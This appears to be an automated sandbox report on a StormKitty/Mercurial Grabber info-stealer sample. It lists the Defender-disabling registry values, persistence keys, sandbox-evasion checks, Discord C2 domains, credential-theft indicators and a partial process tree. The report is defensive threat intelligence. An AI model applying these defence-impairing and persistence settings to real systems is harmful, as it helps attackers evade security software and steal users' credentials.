mercurialgrabber | 6e0775e91dc304bdccef41ad8996aeb886c4d8378dc6f7d9a8789b2739777b32

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000016d96-14.dat	family_stormkitty
behavioral1/memory/2372-139-0x0000000000B70000-0x0000000000B8A000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Detected Nirsoft tools 10 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/2240-140-0x0000000000F40000-0x00000000013DC000-memory.dmp	Nirsoft
behavioral1/files/0x000500000001c867-134.dat	Nirsoft
behavioral1/files/0x000400000001d322-284.dat	Nirsoft
behavioral1/memory/2076-285-0x0000000000BF0000-0x000000000106A000-memory.dmp	Nirsoft
behavioral1/files/0x000400000001d392-352.dat	Nirsoft
behavioral1/files/0x000400000001d39f-363.dat	Nirsoft
behavioral1/files/0x000400000001d399-490.dat	Nirsoft
behavioral1/memory/2780-590-0x0000000000400000-0x000000000041B000-memory.dmp	Nirsoft
behavioral1/memory/2212-497-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral1/files/0x000400000001d39c-629.dat	Nirsoft

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	System32WINDOWS PROTECTOR.EXE

NirSoft WebBrowserPassView 5 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/2240-140-0x0000000000F40000-0x00000000013DC000-memory.dmp	WebBrowserPassView
behavioral1/files/0x000500000001c867-134.dat	WebBrowserPassView
behavioral1/files/0x000400000001d322-284.dat	WebBrowserPassView
behavioral1/memory/2076-285-0x0000000000BF0000-0x000000000106A000-memory.dmp	WebBrowserPassView
behavioral1/files/0x000400000001d39f-363.dat	WebBrowserPassView

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	System32WINDOWS PROTECTOR.EXE

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	System32WINDOWS PROTECTOR.EXE

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager124095.exe	System32WINDOWS MANGER.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager124095.exe	System32WINDOWS MANGER.EXE

Executes dropped EXE 17 IoCs

pid	Process
2260	System32ANTIS.EXE
2448	System32PROTECTIONS.EXE
2372	System32REGISTRY.EXE
2500	System32PROTECTIONS.EXE
2264	System32WINDOWS DEFENDER.EXE
2240	System32WINDOWS MANGER.EXE
1028	System32WINDOWS PROTECTOR.EXE
2408	System32WINDOWS SECURITY.EXE
2452	System32WINDOWS SHELL EXPERIENCE HOST.EXE
1600	System32WINDOWS SHELL EXPERIENCE HOST.EXE
2076	RtkBtManServ.exe
1540	bfsvc.exe
2612	snuvcdsm.exe
2212	winhlp32.exe
2780	splwow64.exe
2604	hh.exe
2616	xwizard.exe

Loads dropped DLL 15 IoCs

pid	Process
2500	System32PROTECTIONS.EXE
1600	System32WINDOWS SHELL EXPERIENCE HOST.EXE
2240	System32WINDOWS MANGER.EXE
2276	cmd.exe
2276	cmd.exe
2952	cmd.exe
2952	cmd.exe
2776	cmd.exe
2776	cmd.exe
2776	cmd.exe
2776	cmd.exe
2776	cmd.exe
2776	cmd.exe
2608	cmd.exe
2608	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows\CurrentVersion\Run\nvidiaDValueOn = "C:\\Users\\Admin\\AppData\\Local\\NVIDIA Local Drivers\\DriversUpdateProcess_x64.exe"	System32REGISTRY.EXE

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
12	discord.com
13	discord.com
14	discord.com
15	discord.com
16	discord.com
11	discord.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ipecho.net
17	ip-api.com
4	checkip.dyndns.org
6	ip4.seeip.org
9	ipecho.net

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	System32WINDOWS PROTECTOR.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	System32WINDOWS PROTECTOR.EXE

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4"	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000400000001d395-479.dat	upx
behavioral1/memory/2776-480-0x0000000000170000-0x00000000001CB000-memory.dmp	upx
behavioral1/memory/2776-486-0x0000000000130000-0x000000000014B000-memory.dmp	upx
behavioral1/files/0x000400000001d39b-485.dat	upx
behavioral1/memory/2780-493-0x0000000000400000-0x000000000041B000-memory.dmp	upx
behavioral1/memory/2780-590-0x0000000000400000-0x000000000041B000-memory.dmp	upx
behavioral1/memory/2212-497-0x0000000000400000-0x000000000045B000-memory.dmp	upx

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\System32REGISTRY.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
File created	C:\Windows\System32WINDOWS DEFENDER.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
File created	C:\Windows\System32WINDOWS MANGER.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
File created	C:\Windows\System32WINDOWS PROTECTOR.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
File created	C:\Windows\System32WINDOWS SECURITY.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
File created	C:\Windows\System32WINDOWS SHELL EXPERIENCE HOST.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
File created	C:\Windows\System32ANTIS.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
File created	C:\Windows\System32PROTECTIONS.EXE	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0007000000016d46-11.dat	pyinstaller
behavioral1/files/0x0009000000016c62-148.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 59 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snuvcdsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	splwow64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winhlp32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	System32ANTIS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	System32WINDOWS MANGER.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bfsvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xwizard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RtkBtManServ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Checks SCSI registry key(s) 3 TTPs 1 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	System32WINDOWS PROTECTOR.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	System32WINDOWS PROTECTOR.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	System32WINDOWS PROTECTOR.EXE

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	System32WINDOWS PROTECTOR.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	System32WINDOWS PROTECTOR.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	System32WINDOWS PROTECTOR.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	System32WINDOWS PROTECTOR.EXE

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	RtkBtManServ.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	RtkBtManServ.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2372	System32REGISTRY.EXE
2372	System32REGISTRY.EXE
1688	powershell.exe
316	powershell.exe
1704	powershell.exe
3064	powershell.exe
2612	snuvcdsm.exe
2612	snuvcdsm.exe
2604	hh.exe
2616	xwizard.exe
2616	xwizard.exe
2616	xwizard.exe
2616	xwizard.exe
2076	RtkBtManServ.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	System32ANTIS.EXE
Token: SeDebugPrivilege	2372	System32REGISTRY.EXE
Token: SeDebugPrivilege	1028	System32WINDOWS PROTECTOR.EXE
Token: SeDebugPrivilege	2076	RtkBtManServ.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	316	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 2260	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	28
PID 2904 wrote to memory of 2260	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	28
PID 2904 wrote to memory of 2260	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	28
PID 2904 wrote to memory of 2260	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	28
PID 2904 wrote to memory of 2448	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	29
PID 2904 wrote to memory of 2448	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	29
PID 2904 wrote to memory of 2448	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	29
PID 2904 wrote to memory of 2448	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	29
PID 2904 wrote to memory of 2372	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	30
PID 2904 wrote to memory of 2372	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	30
PID 2904 wrote to memory of 2372	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	30
PID 2904 wrote to memory of 2372	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	30
PID 2448 wrote to memory of 2500	2448	System32PROTECTIONS.EXE	31
PID 2448 wrote to memory of 2500	2448	System32PROTECTIONS.EXE	31
PID 2448 wrote to memory of 2500	2448	System32PROTECTIONS.EXE	31
PID 2904 wrote to memory of 2264	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	32
PID 2904 wrote to memory of 2264	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	32
PID 2904 wrote to memory of 2264	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	32
PID 2904 wrote to memory of 2264	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	32
PID 2904 wrote to memory of 2240	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	34
PID 2904 wrote to memory of 2240	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	34
PID 2904 wrote to memory of 2240	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	34
PID 2904 wrote to memory of 2240	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	34
PID 2904 wrote to memory of 1028	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	35
PID 2904 wrote to memory of 1028	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	35
PID 2904 wrote to memory of 1028	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	35
PID 2904 wrote to memory of 1028	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	35
PID 2904 wrote to memory of 2408	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	37
PID 2904 wrote to memory of 2408	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	37
PID 2904 wrote to memory of 2408	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	37
PID 2904 wrote to memory of 2408	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	37
PID 2904 wrote to memory of 2452	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	39
PID 2904 wrote to memory of 2452	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	39
PID 2904 wrote to memory of 2452	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	39
PID 2904 wrote to memory of 2452	2904	JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe	39
PID 2452 wrote to memory of 1600	2452	System32WINDOWS SHELL EXPERIENCE HOST.EXE	41
PID 2452 wrote to memory of 1600	2452	System32WINDOWS SHELL EXPERIENCE HOST.EXE	41
PID 2452 wrote to memory of 1600	2452	System32WINDOWS SHELL EXPERIENCE HOST.EXE	41
PID 2260 wrote to memory of 2008	2260	System32ANTIS.EXE	42
PID 2260 wrote to memory of 2008	2260	System32ANTIS.EXE	42
PID 2260 wrote to memory of 2008	2260	System32ANTIS.EXE	42
PID 2260 wrote to memory of 2008	2260	System32ANTIS.EXE	42
PID 2008 wrote to memory of 2208	2008	WScript.exe	44
PID 2008 wrote to memory of 2208	2008	WScript.exe	44
PID 2008 wrote to memory of 2208	2008	WScript.exe	44
PID 2008 wrote to memory of 2208	2008	WScript.exe	44
PID 2208 wrote to memory of 1688	2208	cmd.exe	46
PID 2208 wrote to memory of 1688	2208	cmd.exe	46
PID 2208 wrote to memory of 1688	2208	cmd.exe	46
PID 2208 wrote to memory of 1688	2208	cmd.exe	46
PID 2240 wrote to memory of 2076	2240	System32WINDOWS MANGER.EXE	47
PID 2240 wrote to memory of 2076	2240	System32WINDOWS MANGER.EXE	47
PID 2240 wrote to memory of 2076	2240	System32WINDOWS MANGER.EXE	47
PID 2240 wrote to memory of 2076	2240	System32WINDOWS MANGER.EXE	47
PID 2240 wrote to memory of 2080	2240	System32WINDOWS MANGER.EXE	48
PID 2240 wrote to memory of 2080	2240	System32WINDOWS MANGER.EXE	48
PID 2240 wrote to memory of 2080	2240	System32WINDOWS MANGER.EXE	48
PID 2240 wrote to memory of 2080	2240	System32WINDOWS MANGER.EXE	48
PID 2240 wrote to memory of 2564	2240	System32WINDOWS MANGER.EXE	50
PID 2240 wrote to memory of 2564	2240	System32WINDOWS MANGER.EXE	50
PID 2240 wrote to memory of 2564	2240	System32WINDOWS MANGER.EXE	50
PID 2240 wrote to memory of 2564	2240	System32WINDOWS MANGER.EXE	50
PID 2080 wrote to memory of 2664	2080	cmd.exe	52
PID 2080 wrote to memory of 2664	2080	cmd.exe	52

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\System32ANTIS.EXE
  "C:\Windows\System32ANTIS.EXE"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c compile.bat
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2208
